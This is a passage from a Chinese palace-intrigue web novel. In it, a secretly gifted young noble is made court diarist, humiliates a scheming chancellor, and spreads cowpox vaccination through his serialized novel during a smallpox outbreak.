他搓着手,一副‘我就是个纨绔’的惫懒样子,
“臣平日也就听听曲儿,看看杂耍,那种文绉绉的东西,看着就头疼。”
萧璇月看着他这副油盐不进的模样,气得牙痒痒,却又无可奈何。
没有确凿证据,她总不能因为怀疑就把他抓起来严刑拷打。
她心中冷笑:好,很好!
朕看你能装到几时!
一个念头闪过,萧璇月脸上忽然露出一丝笑容,语气也变得温和起来:
“江爱卿过谦了。朕观你近日在翰林院当差,虽时日尚短,却也还算…安分守己,未曾惹是生非。比起以往,已是长进不少。”
江凡心里咯噔一下,有种不祥的预感。
这女人突然夸他,准没好事!
第023章 离老爹远点
果然,萧璇月接着说道:
“既然江爱卿有心上进,朕便给你个机会。即日起,擢升你为起居郎,随侍朕之左右,记录朕之言行,编纂《起居注》。
这可是清要之职,多少人求之不得,你…可要好好珍惜,莫要再辜负朕的期望。”
什么?!
起居郎?!
每天跟着你上朝、陪着你办公?!
那我还怎么摸鱼?怎么偷偷写书?
怎么溜出去赚人气值?!
江凡如遭五雷轰顶,差点没跳起来!
“陛…陛下!”
江凡也顾不得装了,连忙躬身,声音都带着哭腔,
“臣…臣才疏学浅,品行不端,实在难当此重任啊!这…这记录陛下言行,编纂史书,是何等严肃的事情!
臣…臣怕…怕有负圣恩,玷污了史册啊!还请陛下三思!”
他这是真心实意地拒绝!
这职位简直就是把他放在火上烤!
萧璇月看着他急得抓耳挠腮的样子,心中那股憋闷终于散了些,竟升起一丝恶作剧得逞般的快意。
她板起脸,语气不容置疑:
“朕意已决!莫非…江爱卿是想抗旨不成?”
“臣…臣不敢!”
江凡哭丧着脸,知道这事是推不掉了。
抗旨的罪名他可担不起。
“云暮!”萧璇月唤道。
“奴婢在。”
“去,将新制的起居郎官服、印信取来,即刻授予江爱卿。”
“是。”
不一会儿,云暮便捧着一套崭新的官服和一方银印走了过来。
在萧璇月‘鼓励’的目光下,江凡只得硬着头皮,接过了这烫手的山芋。
“臣…谢主隆恩!”
这五个字,江凡说得是字字泣血,心在滴泪。
以后这日子,没法过了!
看着江凡那副如丧考妣、生无可恋的表情,萧璇月心情大好,嘴角那抹笑意几乎要掩饰不住。
她轻轻挥了挥手:“好了,明日早朝,朕要看到你准时出现在朕的身边。退下吧。”“臣…遵旨。”
江凡抱着那套官服,有气无力地行了个礼,脚步虚浮地退出了值房,背影充满了悲壮和萧索。
望着他离开的背影,萧璇月终于忍不住,轻笑出声。
她走到窗边,看着那个耷拉着脑袋、抱着官服、一步三晃走向宫外的身影,凤眸中闪烁着狡黠而期待的光芒。
“江凡啊江凡…朕把你放在眼皮子底下,看你还能‘藏’多久?朕很期待…你明天的‘表现’。”
而此刻的江凡,走在出宫的路上,内心早已泪流成河。
“完犊子了…这下真是24小时被监控了…我的摸鱼大计!我的人气值!我的纨绔美好生活啊!”
他仿佛已经看到,未来一片黑暗。
夜幕低垂,镇国公府内却是一反常态的热闹与喜庆。
朱漆大门前车马簇簇,灯火通明。
老国公江撼岳,神采奕奕地凯旋归来了!
税银案告破,巨款追回,二十余名蛀虫落网,这不仅是洗刷了江撼岳自身的嫌疑,更是一桩震动朝野的大功!
府中仆役个个与有荣焉,脸上洋溢着喜气。
前厅早已备下丰盛的家宴,为老国公接风洗尘。
江凡被姐姐江芷兰拉着,来到前厅时,正看见父亲江撼岳虽面带倦色,但一双虎目炯炯有神,顾盼间威仪更胜往昔。
他正与几位闻讯赶来道贺的军中老部将寒暄,声若洪钟,意气风发。
“爹!”江芷兰眼圈一红,快步上前。
江凡也赶紧跟上,努力挤出激动的表情——
虽然他心里琢磨的是赶紧吃完饭回去研究新兑换的地阶剑法。
江撼岳看到一双儿女,脸上露出温和笑容,拍了拍江芷兰的手背,又看向江凡,点了点头:
“回来了就好,都坐吧。”
宴席开始,气氛热烈。
几杯酒下肚,江撼岳的话也多了起来,不可避免地又谈到了税银案。
“…此次真是险之又险!”
江撼岳放下酒杯,脸上仍带着一丝后怕与庆幸,
“若非陛下圣明,得高人暗中指点,老夫这次,怕是真要栽在那群宵小手中了!”
一位络腮胡将领好奇道:
“国公爷,听说…是得了什么‘逍遥公子’写的话本启发?这…这话本当真如此神奇?竟能料事如神?”
提到‘逍遥公子,江撼岳
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顿时肃然起敬,重重一拍大腿:
“何止是神奇!简直是未卜先知!那话本中将那伙贼子如何偷梁换柱、如何掩人耳目、甚至哪些环节可能留下破绽,都写得清清楚楚,明明白白!
老夫不过是按图索骥,便一举擒获!此等大才,神鬼莫测!真乃国士也!”
他语气中充满了由衷的感激和敬佩。
江芷兰也美眸发亮,附和道:
“女儿也听说了,这位逍遥公子才华横溢,诗词歌赋、经世致用之道,无不出类拔萃。若能得见其人,定要当面拜谢才是!”
她话语中充满了对这位神秘才子的仰慕。
江凡坐在一旁,埋头猛扒碗里的红烧肉,心里既得意又尴尬。
被自己老爹和老姐这么当面猛夸,感觉…还挺爽的?
就是不能相认,憋得有点难受。
他只能含糊地‘嗯嗯’两声,表示自己在听。
江撼岳一转头,看到儿子那副饿死鬼投胎的样子,再对比一下那位‘算无遗策’的逍遥公子,心头那股的火气‘噌’地又冒了上来。
他把酒杯往桌上重重一顿,瞪着江凡:
“吃吃吃!就知道吃!你看看人家逍遥公子!年纪轻轻,便有如此经天纬地之才!你再看看你!
文不成武不就,整天就知道游手好闲!你要是有逍遥公子两成…不,一成的本事,老子我做梦都能笑醒!何至于为你操碎了心!”
江凡被喷了一脸唾沫星子,一口肉噎在喉咙里,差点背过气去。
他抬起头,一脸无辜加委屈,心里疯狂吐槽:
老爹啊老爹,你要是我有逍遥公子一成的本事就笑醒?
我要真亮出身份,怕是你得吓醒!
他张了张嘴,想反驳又不敢,最终只能悻悻地低下头,小声嘟囔:
“我…我这不是在翰林院当差呢嘛…”
“哼!当差?要不是陛下开恩,就你那德行,能进翰林院?给老子安分点!别给陛下和老子惹祸就行!”
江撼岳余怒未消。
江芷兰见状,连忙打圆场,给父亲斟酒布菜,总算把话题岔了开去。
江凡这才松了口气,暗自决定,以后吃饭要坐得离老爹远点。
第024章 好笑不好笑
与此同时,宰相府深处,一间门窗紧闭的密室内,气氛却与国公府的喜庆截然相反。
当朝宰相李文弼端坐主位,面色阴沉得能滴出水来。
下首坐着几位心腹官员,皆是神色凝重。
众人中间的紫檀木茶几上,赫然摊开着几本最新版的《深宫秘恋》话本。
一名瘦高个的御史率先开口,声音带着压抑的愤怒:
“相爷,这逍遥公子…欺人太甚!税银案一事,分明是影射我等!虽未点名,但朝中明眼人谁看不出来?这简直是将我等架在火上烤!”
另一名胖官员抹了把额头的冷汗,心有余悸:
“是啊相爷!此次江撼岳能如此迅速破案,全靠这话本‘指点’!若陛下顺藤摸瓜…后果不堪设想啊!这逍遥公子,必须除掉!”
“除掉?谈何容易!”李文弼冷哼一声,
“此人踪迹全无、是男是女没人知晓!这些话本如同凭空出现,查无可查!当初陛下欲禁,尔等…”
他冰冷的目光扫过在场几人,包括他自己,都感到脸上火辣辣的,
“…包括老夫,皆以‘防民之口甚于防川’、‘陛下当有容人之量’为由,极力劝阻!如今看来,简直是搬起石头砸自己的脚!”
几人面面相觑,肠子都悔青了。
当初谁能料到,一本看似荒诞的言情话本,竟能掀起如此大的风浪?
不仅能影响朝局,还能精准打击政敌!
“为今之计…”李文弼眼中寒光一闪,
“唯有釜底抽薪!明日早朝,我等联名上奏,请旨在全国范围内,封禁此等‘诽谤朝臣、蛊惑人心、动摇国本’的邪书!绝不能再任由其流传!”
“相爷高见!”众人纷纷附和。
“只是…”胖官员犹豫道,
“陛下如今似乎对此书…态度暧昧。尤其是税银案后,恐难应允。”
李文弼深吸一口气,脸上露出决然之色:
“事在人为!即便不能一举禁绝,也要试探出陛下的底线!同时,暗中加派人手,不惜一切代价,也要将这逍遥公子的**挖出来!
老夫倒要看看,究竟是哪路神仙,敢如此与我等作对!”
密议持续到深夜,一场针对‘逍遥公子’的风暴,正在暗中酝酿。
……
翌日,天还未亮。
江凡就被贴身小厮从温暖的被窝里拖了起来。
“少爷!少爷!快醒醒!今日您要随国公爷上早朝啊!再不起就迟了!”
小厮的声音带着焦急。
江凡迷迷糊糊地睁开眼,看到窗外漆黑一片,顿时哀嚎一声,把被子蒙在头上:
“上什么朝…困**…让我再睡会儿…”
他昨晚研究《惊鸿十三剑》到半夜,刚睡着没多久。
“我的少爷诶!这可是陛下亲封的起居郎!第一天上任,万万迟不得啊!国公爷已经在前厅等着了!”
小厮都快哭出来了。
听到‘陛下’和‘老爹’这两个关键词,江凡一个激灵,残存的睡意瞬间消失。
他哀叹着爬起来,一边骂骂咧咧地抱怨,一边任由丫鬟们伺候他穿上那套崭新的起居郎官服。
来到前厅,果然见江撼岳早已穿戴整齐,正坐在太师椅上闭目养神。
听到脚步声,他睁开眼,看到儿子穿着官服、睡眼惺忪、一脸不情愿的样子,眉头又是一皱。
但想到今日是儿子新官上任,终究没再训斥,只是沉声道:
“打起精神!朝堂之上,非同儿戏!谨言慎行,多看多听少说话!若敢给为父、给陛下丢脸,仔细你的皮!”
“知道了,爹…”
江凡有气无力地应着,耷拉着脑袋,跟着老爹出了门,坐上马车,向着皇城驶去。
他感觉自己就像被押赴刑场的囚犯。
马车在宫门前停下,换乘宫内的软轿,一路行至举行大朝会的宣政殿外。
此时,天色微明,殿前广场上已是冠盖云集,文武百官按照品级肃立等候。
空气中弥漫着一种庄严肃穆又暗藏机锋的氛围。
江凡跟着父亲,走到武官队列前方站定。
他这身浅绯色官服在众多深紫、朱红的朝服中颇为显眼,引来不少探究、诧异、甚至鄙夷的目光。
不少官员窃窃私语,显然对这位‘著名
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’的纨绔子突然出现在如此庄重的场合感到不解。
就在这时,宰相李文弼在一群门生故旧的簇拥下,也来到了殿前。
他与江撼岳目光相遇,空气中顿时迸射出无形的火花。
“镇国公,恭喜凯旋,又立新功啊。”
李文弼皮笑肉不笑地拱了拱手,语气带着惯有的阴阳怪气。
江撼岳冷哼一声,懒得与他虚与委蛇:
“分内之事,不敢居功。比不得**,运筹帷幄。”
李文弼目光一转,落到江撼岳身后的江凡身上,嘴角勾起一抹讥讽:
“这位便是新任的江起居郎吧?呵呵,真是年少有为啊。江国公,虎父无犬子。
想必江起居郎定是继承了国公爷的文韬武略,这才得蒙陛下简拔,担任如此清要之职吧?”
他这话看似恭维,实则是赤裸裸的嘲讽,暗示江凡是靠父亲功劳才得此官职。
周围几个依附李文弼的官员发出低低的窃笑。
江撼岳脸色一沉,正要反驳,却见身旁的江凡突然抬起头,脸上露出一个纯良无比、甚至带着点憨厚的笑容,对着李文弼拱了拱手说道:
“**爷过奖了!小子我才疏学浅,哪敢跟家父相比,更不敢与满朝文武相比。不过是陛下念及家父微末之功,给小子个机会,在御前聆听教诲,学习进步罢了。”
他这话说得谦逊,却巧妙地把功劳推给了陛下,点明自己是‘皇恩’,堵住了李文弼的嘴。
接着,他话锋突然一转,仿佛想起什么有趣的事,笑嘻嘻地继续说道:
“不过说起‘文韬武略’,小子我昨晚倒是看了个有趣的话本,里面那个宰相,啧啧,可是文武双全,厉害得紧呐!
尤其是一手‘颠倒黑白’、‘指鹿为马’的功夫,更是出神入化,把皇帝都忽悠得一愣一愣的,最后差点把江山都丢了!**爷,您说好笑不好笑?”
他这番话,声音不大,却清晰地传入了周围不少官员的耳中。
所有人都愣住了!
江凡这话,分明是借那本《深宫秘恋》里被丑化的宰相角色,在当众讽刺李文弼!
第025章 才刚刚开始
李文弼脸上的笑容瞬间僵住,脸色由白转青,再由青转紫,指着江凡,气得浑身发抖,嘴唇哆嗦着,却一个字也说不出来!
他身边那几个官员也傻眼了,没想到这个纨绔子竟敢在宣政殿外、众目睽睽之下,如此羞辱当朝宰相!
“你…你…黄口小儿!安敢如此放肆!”
李文弼好不容易喘过气,发出一声压抑的怒吼。
江撼岳也吓了一跳,没想到儿子这么大胆。
但看到李文弼吃瘪的样子,心里又莫名有点爽,他一把拉住还想再‘补刀’的江凡,低喝道:
“放肆!朝会重地,岂容你胡言乱语!”
江凡立刻缩了缩脖子,摆出害怕的样子,嘴里却小声嘀咕:
“我说的是话本里的宰相嘛,又没说是**爷,**爷您怎么自己对号入座了…”
这话声音更小,但足以让近处的李文弼听得清清楚楚。
李文弼眼前一黑,差点一口气没上来背过气去!
他死死地盯着江凡,眼中充满了怨毒之色!
逍遥公子!
江凡!
这两个名字在他心中疯狂交织!
他发誓,定要让这二人付出代价!
“百官入殿——!”
就在这时,殿内传来内侍悠长的唱喥声,化解了这场一触即发的冲突。
百官整理衣冠,按次序鱼贯而入。
李文弼狠狠瞪了江凡一眼,拂袖而入。
江撼岳也瞪了儿子一眼,低声道:
“给老子安分点!”
然后大步走进殿内。
江凡混在官员末尾,低着头,嘴角却勾起一抹冷笑。
老东西,敢惹小爷?
气死你!
步入宏伟肃穆的宣政殿,江凡按照引路太监的指引,站到了御阶之下、龙椅侧后方一个不起眼的位置。
这里是起居郎的固定位置,需要记录皇帝与大臣的重要对话。
他拿出早已备好的纸笔,眼观鼻鼻观心,努力降低自己的存在感,心里却吐槽:
这位置,怎么看怎么像伺候皇帝的小太监站的地方…晦气!
萧璇月端坐于九龙宝座之上,凤冠霞帔,威仪万千。
她目光扫过全场,在低眉顺眼的江凡身上微微停留了一瞬,闪过一丝笑意,随即恢复清冷。
例行礼仪之后,朝会进入议事环节。
没等处理几件日常政务,宰相李文弼便率先出列,手持玉笏,朗声道:
“陛下!臣有本奏!”
来了!
江凡心中一动,竖起了耳朵。
“讲。”萧璇月声音平静。
李文弼深吸一口气,神情悲愤,语调沉痛:
“陛下!近日市井流传一话本,名为《深宫秘恋》,内容荒诞不经,诽谤君上,影射朝臣,更兼有蛊惑人心、动摇国本之嫌!
其作者‘逍遥公子’,藏头露尾,居心叵测!长此以往,朝纲不振,民心惶惶!臣恳请陛下,颁下明旨,在全国范围内查禁此书,严惩作者,以正视听!”
他话音刚落,身后立刻呼啦啦跪倒一片官员,齐声附和:
“臣附议!此等邪书,流毒无穷,必须禁绝!”
“陛下!逍遥公子诽谤朝廷重臣,其心可诛!”
“请陛下为臣等做主啊!”
一时间,殿内群情汹汹,仿佛逍遥公子犯了十恶不赦之罪。
江凡在下面听得火冒三丈,差点把手中的笔捏断!
这帮老混蛋!颠倒黑白!
小爷我写书赚点人气值容易吗?
还敢污蔑我动摇国本?
他强忍着冲出去理论的冲动,偷偷抬眼瞄向龙椅上的女帝。
萧璇月端坐不动,面沉如水,等下面声音稍歇,才缓缓开口,声音依旧平淡,却带着一丝寒意:
“哦?李爱卿和诸位爱卿,如今倒是想起要查禁此书了?”
她凤眸扫过跪在地上的众人,语气带着几分玩味:
“朕记得,当初此书初现,内容涉及朕之清誉时,朕欲严查,尔等…可是众口一词,劝朕要大度。
说什么‘防民之口甚于防川’,‘陛下胸怀当如海纳百川’,‘些许流言,不足为惧’。
怎么?如今这书里写到了某些人的痛处,便成了‘诽谤朝臣、动摇国本’的邪书了?这标准……莫非是因人而异、因利而变的吗?”
这番话,如同一个个响亮的耳光,抽在李文弼等人的脸上!
几人顿时面红耳赤,哑口无言!
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当初他们为了限制君权、看女帝笑话而说的话,此刻被原封不动地还了回来,简直是莫大的讽刺!
萧璇月看着他们窘迫的样子,心中冷笑,继续不紧不慢地说道:
“况且,这话本之中,编排朕与那侍卫的风花雪月、荒唐情事,可比编排诸位爱卿要过分得多。
朕尚且未曾因此大动干戈,诸位爱卿…又何必如此心急火燎,对号入座呢?”
她轻轻一句‘对号入座’,更是让李文弼等人无地自容,恨不得找个地缝钻进去!
满朝文武,鸦雀无声。
那些原本中立或看热闹的官员,也纷纷低下了头,心中暗叹陛下言辞之犀利。
是啊,人家女帝才是被编排得最狠的,人都没急,你们这些被影射的急什么?
这不是不打自招吗?
江凡在下面听得心花怒放,差点没笑出声来!
高!实在是高!
女帝这波反击,漂亮!
他偷偷给龙椅上的身影点了个赞。
李文弼跪在地上,脸色灰败,他知道,今日这**之议,是彻底失败了。
非但没成功,反而在陛下和满朝文武面前大大地丢了脸面!
他心中对逍遥公子和江凡的恨意,更是达到了顶点!
“此事,容后再议。”
萧璇月一锤定音,不再给李文弼纠缠的机会,
“若无其他要事,便退朝吧。”
“退——朝——!”
内侍尖细的唱喥声响起。
一场来势汹汹的**风波,就这样被女帝轻描淡写地化解于无形。
百官神色各异地退出宣政殿。
李文弼等人灰头土脸,而江撼岳则是腰杆挺得笔直,只觉得扬眉吐气。
江凡也松了口气,正准备溜之大吉,却听龙椅上的女帝淡淡吩咐道:
“江起居郎,将今日朝会议事摘要,整理后送至御书房。”
“臣…遵旨。”
江凡苦着脸应下。
得,摸鱼计划又泡汤了。
这起居郎的差事,果然不是人干的!
而端坐于龙椅之上的萧璇月,看着江凡那副如丧考妣的背影,嘴角微微上扬,勾勒出一抹弧度。
这场好戏,才刚刚开始。
第026章 天花的危机
江凡耷拉着脑袋,磨磨蹭蹭地跟在女帝萧璇月的仪仗后面,向着御书房挪去。
一想到接下来要在女帝眼皮子底下‘办公’,他就觉得前途一片灰暗。
摸鱼?不存在的。
开小差?找死。
这起居郎的差事,简直是专门为他这种‘咸鱼’量身定做的酷刑!
御书房内,熏香袅袅。
萧璇月屏退了大部分宫人,只留了贴身女官云暮在一旁伺候笔墨。
她径自走到御案后坐下,开始批阅那堆积如山的奏折,仿佛完全忘记了身后还跟着的江凡。
江凡暗自松了口气,赶紧溜到角落一张专门为他准备的小书案后坐下,铺开纸,磨好墨,拿起笔,开始记录——
“某年某月某日,陛下退朝,至御书房,批阅奏章。”
写完这十几个字,他就卡壳了。
接下来写啥?
难道写‘陛下批阅奏章时蹙眉三次,饮茶一口’?
他偷偷抬眼瞄了瞄前方。
萧璇月端坐如山,侧脸线条优美而专注,阳光透过窗棂洒在她身上,仿佛镀上了一层金边。
长长的睫毛低垂,紧抿的唇瓣显示出她正在思考某个棘手的问题。
不得不说,这女人认真工作的样子,确实…赏心悦目。
“呸呸呸!想什么呢!”
江凡赶紧甩甩头,把那些乱七八糟的念头驱散,
“红颜祸水!尤其是这种手握生杀大权、还聪明得吓人的女帝,更是祸水中的祸水!小爷我的目标是当个逍遥快活的纨绔咸鱼,想她?嫌命长吗?”
他赶紧在心里默念三遍‘苟住发育,别浪’,然后继续琢磨怎么把这枯燥的工作糊弄过去。
为了符合‘不学无术’的人设,他故意把字写得歪歪扭扭,大小不一,如同螃蟹爬过一般。
写几个字就假装思考,或者偷偷打量四周,一副坐立不安、难以专注的模样。
时间一点点过去,御书房内只剩下书页翻动和朱笔批阅的细微声响。
江凡装模作样地‘记录’了几条无关痛痒的内容后,实在无聊,便开始在纸上偷偷练习《惊鸿十三剑》的剑意走势图。
他不敢运功,只是用意念模拟,指尖无意识地在纸上划拉着一些看似杂乱无章、实则蕴含玄奥轨迹的线条。
不知过了多久,一阵极轻微的脚步声自身后响起。
江凡正神游天外,完全没察觉。
直到一股幽香钻入鼻尖,他才猛地一个激灵,回过神来!
一抬头,赫然发现女帝萧璇月不知何时已悄然站在了他的书案旁,正低垂着眼眸,看着他面前那张‘记录’和旁边涂鸦般的草纸!
江凡吓得魂飞魄散,手一抖,笔差点掉在纸上!
他慌忙想用袖子去遮挡那些剑意图,却已经晚了。
萧璇月的目光,先是扫过那篇狗爬似的‘起居注’,眉头几不可察地蹙了一下,显然是对这惨不忍睹的字迹感到无语。
但随即,她的目光被旁边草纸上那些看似随意、却隐隐透着某种奇特韵律和劲道的线条吸引了。
她虽不精于剑法,但身为帝王,眼界极高,隐隐觉得这些线条不简单,绝非寻常涂鸦。
更让她心中巨震的是,尽管江凡极力掩饰,甚至故意把字写丑。
但那些落在纸上的笔画间,竟然隐隐透着一股‘神韵’!
这绝非一个胸无点墨、从未认真练过字的人能写出来的!
就像一块被故意摔碎的玉石,碎片边缘依然能看出其内在的晶莹质地!
这和她之前在翰林院看到江凡那真正毫无章法、软趴趴的字迹,简直判若两人!
他果然在藏拙!
而且藏得如此之深!
萧璇月心中冷笑,面上却不动声色,只是伸出手指,轻轻点在那篇‘起居注’上,声音平淡无波:
“江爱卿,你这字…还需勤加练习。记录朕之言行,关乎史册,不可如此潦草。”
江凡心脏狂跳,连忙起身,躬身道:
“是是是,陛下教训的是!臣…臣一定努力练字!”
书画技能满级真是坑爹啊,想写丑都自带特效!
只希望女帝真的没有看出来,别太关注自己。
最好是找个理由把自己赶走,继续当自己的纨绔。
萧璇月深深看了他一眼,没再说什么,转身回到了御案后。
但江凡明显感觉到,那道看似平静的目光,比之前更加锐利。
“怎么有种不妙的感觉…”
江凡欲哭无泪,再也不敢搞小动作,老老实实地坐在那里,眼观鼻鼻观心,开始认真思考人生——
怎样才能犯个不大不小
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、刚好够被罢官免职、又不至于掉脑袋的错误呢?
打碎个花瓶?假装打瞌睡?
还是…不小心把墨汁泼到奏折上?
就在他绞尽脑汁构思‘被炒鱿鱼计划’时,御书房外传来一阵急促的脚步声,紧接着是内侍紧张的通传声:
“陛下,紧急军情!八百里加急!”
萧璇月凤眸一凝:
“宣!”
一名风尘仆仆、甲胄染尘的信使疾步而入,单膝跪地,双手呈上一封插着羽毛的信函:
“陛下!江北清河郡急报!郡内突发瘟疫,疑似…疑似天花!已有数十人染病,死者过十,疫情正在扩散!郡守请求朝廷速派太医支援,并调拨药材!”
“天花?!”
萧璇月猛地从龙椅上站起,绝美的脸上瞬间血色尽褪!
就连一旁侍立的云暮,也骇然变色!
江凡也是心中一震!
天花!
在这个医学落后的时代,这几乎是死亡的代名词!
一旦大规模爆发,十室九空,赤地千里,绝非虚言!
只有修为高深的人能用修为抵挡病毒,普通人对天花有着极大的恐惧。
萧璇月快速拆开急报,越看脸色越是苍白,玉手微微颤抖。
她强迫自己冷静下来,沉声问道:
“疫情何时发现?如何传播?郡府采取了何种措施?”
信使一一禀报,情况十分严峻。
疫情发现已晚,最初被当作普通风寒,等确认是天花时,已有多人染病死亡,恐慌正在蔓延。
郡府虽已隔离病患,但缺医少药,效果甚微,恳请朝廷火速救援。
“传朕旨意!”
萧璇月强迫自己冷静下来,声音带着不容置疑的威严,
“即刻宣太医令、院使,户部尚书,兵部侍郎速至御书房议事!封锁通往清河郡的主要官道。
但许进不许出,严防疫情扩散!命太医院即刻清点库存防疫药材,准备驰援!”
一道道命令迅速下达,整个皇宫瞬间高速运转起来。
内侍领命飞奔而去。
萧璇月坐回龙椅,指尖用力按着发胀的太阳穴,眉宇间充满了忧惧。
她是一国之君,面对这等天灾,深感人力之渺小。
若处理不当,不仅是清河郡,整个大夏都可能陷入浩劫!
第027章 医术宗师级
江凡在一旁默默记录着,心情也沉重起来。
他看着女帝那强自镇定的侧脸,忽然觉得这位平日里威严莫测的君主,此刻也只是一个被巨大压力笼罩的年轻女子。
他心中那股‘当咸鱼’的念头暂时被压了下去,一种说不清道不明的情绪在滋生。
或许…能做点什么?
太医和重臣们很快匆匆赶来,御书房内气氛凝重。
众人商议良久,无非是加大隔离力度、广征草药、祈求上天之类的老生常谈。
对于如何真正防治天花,依旧束手无策。
听着那些苍白无力的建议,萧璇月的心一点点沉下去。
江凡一边记录,一边心思电转。
他记得前世天花是被‘牛痘’疫苗最终消灭的!
牛痘病毒与天花病毒相似,接种后能让人获得免疫力,且危险性远小于直接感染天花。
这个方法在这个世界绝对可行!
但是…怎么说出来?
直接告诉女帝?
怎么解释来源?
还是‘逍遥公子’这个马甲更稳妥!
议事一直持续到黄昏,最终也只是定下了一些常规的救灾方案,治标不治本。
众臣忧心忡忡地退下后,御书房内只剩下萧璇月、云暮和仍在‘坚守岗位’的江凡。
萧璇月疲惫地靠在龙椅上,闭目养神,绝美的容颜上写满了倦怠与无力。
烛光摇曳,在她脸上投下明明暗暗的光影。
江凡看着这一幕,心中暗下决心。
他放下笔,恭敬行礼:
“陛下,若无事,臣…先行告退?”
萧璇月缓缓睁开眼,看了他一眼,目光复杂,最终只是挥了挥手,声音带着一丝沙哑:
“退下吧。今日…辛苦江爱卿了。”
“臣告退。”
江凡如蒙大赦,连忙躬身退出御书房。
直到走出宫门,被晚风一吹,他才长长舒了口气。
但一想到天花疫情,心情又变得沉重起来。
回到镇国公府,他罕见地没有直接溜回自己的小院,而是先去见了姐姐江芷兰。
姐姐也听说了天花疫情,正忧心忡忡地为父亲准备明日上朝穿的朝服。
“凡儿,你回来了?听说清河郡闹天花,可是真的?”
江芷兰急切地问。
“是真的,姐。”
江凡点点头,脸色凝重,
“情况不太好。陛下和大臣们商议了半天,也没拿出什么太好的办法。”
“唉,这天花…可是要人命的啊!”
江芷兰叹息道,“但愿老天爷开眼,让疫情早点过去。”
她只是个深闺女子,除了祈祷,也无能为力。
江凡安慰了姐姐几句,便借口劳累,回到了自己的‘听雨轩’。
他反手插上门闩,长长吁出一口浊气。
他固然心心念念当个逍遥纨绔,但终究不是铁石心肠。
脑海中不受控制地浮现出疫情肆虐、哀鸿遍野的场景,心头像是压了块巨石。
“不能再耽搁了…”
他喃喃自语,眼神变得坚定。
现在积攒了近十万人气值,本来提升修为到先天后期都足够,但眼下他还是决定先做点有意义的事情。
意念沉入脑海下达指令:
“系统,兑换【医术(大宗师级)】!”
【消耗50000点人气值,兑换【医术(大宗师级)】成功!相关医学知识、药方、病理、治疗手段已传输。】
刹那间,浩瀚如烟的医学知识如同决堤的洪水,汹涌地涌入他的脑海!
从《黄帝内经》、《难经》的玄奥医理,到《伤寒杂病论》、《千金方》的经方验方;
从华佗麻沸散的外科传奇,到李时珍《本草纲目》的浩瀚药海;
乃至无数失传的古方、秘术,以及远超这个时代理解的微生物学、病毒学、免疫学原理…尽数融会贯通!
他仿佛在瞬间经历了数十载悬壶济世的生涯,尝遍百草,辨证施治,对各种疾病的认知达到了一个前所未有的高度。
他立刻屏息凝神,在这片知识的**中搜寻关于‘天花’的解决方案。
很快,几个复杂精妙的药方浮现出来。
用药君臣佐使极为考究,旨在清热解毒、扶正祛邪,缓解天花重症的症状,提高生存几率。
但其中几味主药如‘百年野山参’、‘雪山紫芝’等极为罕见,配置过程更是繁琐无比,火候差之毫厘便前功尽弃。
“不行…”
江凡眉头紧锁,缓缓摇头,
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“这方子好是好,但成本太高,配置太难,对医者要求极高,根本无法大规模推广,救得了一人,救不了一城,更别提预防了。治标不治本。”
他压下焦虑,继续深入探寻。
终于,在免疫学的知识深处,关于‘人痘接种’和更安全有效的‘牛痘接种’原理清晰地呈现出来!
“牛痘!”
江凡眼中爆发出惊喜的光芒,几乎要喊出声来!
牛痘病毒与天花病毒抗原性高度相似,但毒性微弱得多,接种后通常只会引起局部轻微反应,却能刺激人体产生强大的交叉免疫力,从而有效预防致命的天花!
这个方法安全、有效、成本低廉,取材相对容易,简直就是为应对这种大瘟疫量身定做的!
事不宜迟!
他立刻铺开上好的宣纸,宗师级的书画技能自然流转,手持狼毫,蘸饱浓墨。
在《深宫秘恋》的最新章节里,他巧妙构思剧情,让主角‘林枫’在一次随‘女帝’微服私访、体察民间疾苦时,遭遇了一场因天花疫情引发的恐慌和骚乱。
当地官吏束手无策,名医摇头叹息。
就在‘女帝’忧心如焚之际,‘林枫’凭借记忆中某本‘海外孤本医书’所载的‘以毒攻毒’奇术,提出了惊世骇俗的‘牛痘接种法’!
他详细阐述了如何寻找自然感染了牛痘的奶牛,如何小心采集痘浆,如何在上臂外侧轻轻划破皮肤进行接种。
接种后可能出现的轻微发热、局部脓疱等正常反应,以及最终获得免疫力的全过程。
为了增加说服力,应对急症,他将之前那个复杂的治疗药方也写了进去,标明是‘缓解危重症状之方’。
但着重强调‘牛痘之法,方为根治预防、普惠万民之上上策!’
他写得极其详尽,步骤清晰,注意事项周全,甚至描述了接种成功后的免疫者护理方法。
力求让任何一位有经验的医者看过之后,都能依葫芦画瓢进行尝试。
写完后又仔细检查数遍,确保没有任何超越时代的术语,完全用这个时代能理解的语言和逻辑进行表述。
“系统,提交最新章节《深宫秘恋:林枫妙手施牛痘,女帝忧心察疫情》。”
第028章 牛痘接种法
【作品检测中…完整性符合要求,审核通过。】
【鉴于内容涉及重大民生疾苦解决方案,传播优先级极大提升!开始生成复刻本(1000份),扩大投放至全国各州府要地、知名医馆、大型书院及有影响力的权贵、名士手中…投放中…】
一千份!
覆盖全国!
系统这次的反应超出了江凡的预期,可见这‘牛痘法’价值之大。
他长长舒了口气,仿佛卸下了千斤重担,一股深深的疲惫感席卷而来。
连续的精神紧绷和知识灌输,让他心力交瘁。
他连外袍都懒得脱,吹熄蜡烛,直接倒头便睡。
拯救世界,也是个体力活啊。
……
翌日,黎明前最黑暗的时刻,紫宸宫寝殿。
女帝萧璇月昨夜忧心疫情,与心腹大臣议事事到深夜,直到后半夜才勉强合眼,睡得极不安稳。
就在她处于半梦半醒的迷糊状态时,一股极其微弱的空间波动,在她凤榻旁的紫檀木矮几上一闪而逝。
先天巅峰高手的灵觉何等敏锐!
萧璇月瞬间惊醒,凤眸豁然睁开,凌厉的目光如电般扫视四周,周身真气暗涌,蓄势待发!
然而,寝宫内静谧无声,值守的宫女呼吸平稳,并无任何异样。
但她的目光,却死死定格在矮几上——那里,凭空多了一本还散发着淡淡墨香的、装帧熟悉的线装书册!
《深宫秘恋》最新章!
萧璇月的心跳骤然漏了一拍,背后瞬间沁出一层细密的冷汗!
她的寝宫戒备何等森严,明哨暗哨无数,她自己更是修为高深,灵觉覆盖整个宫殿,竟然有人能神不知鬼不觉地将东西送到她的枕边?!
这逍遥公子…究竟是何方神圣?
是武功已臻化境的绝顶高手,还是精通奇门遁甲的异人?
这种鬼神莫测的手段,让她感到一种前所未有的寒意和忌惮。
先前因对方屡献良策而产生的一丝感激和好奇,瞬间被巨大的警惕和隐隐的恐惧所取代!
她深吸一口气,强压下心中的惊涛骇浪,手指带着一丝颤抖,取过了那本书册。
定了定神,带着无比复杂的心情翻开了书页。
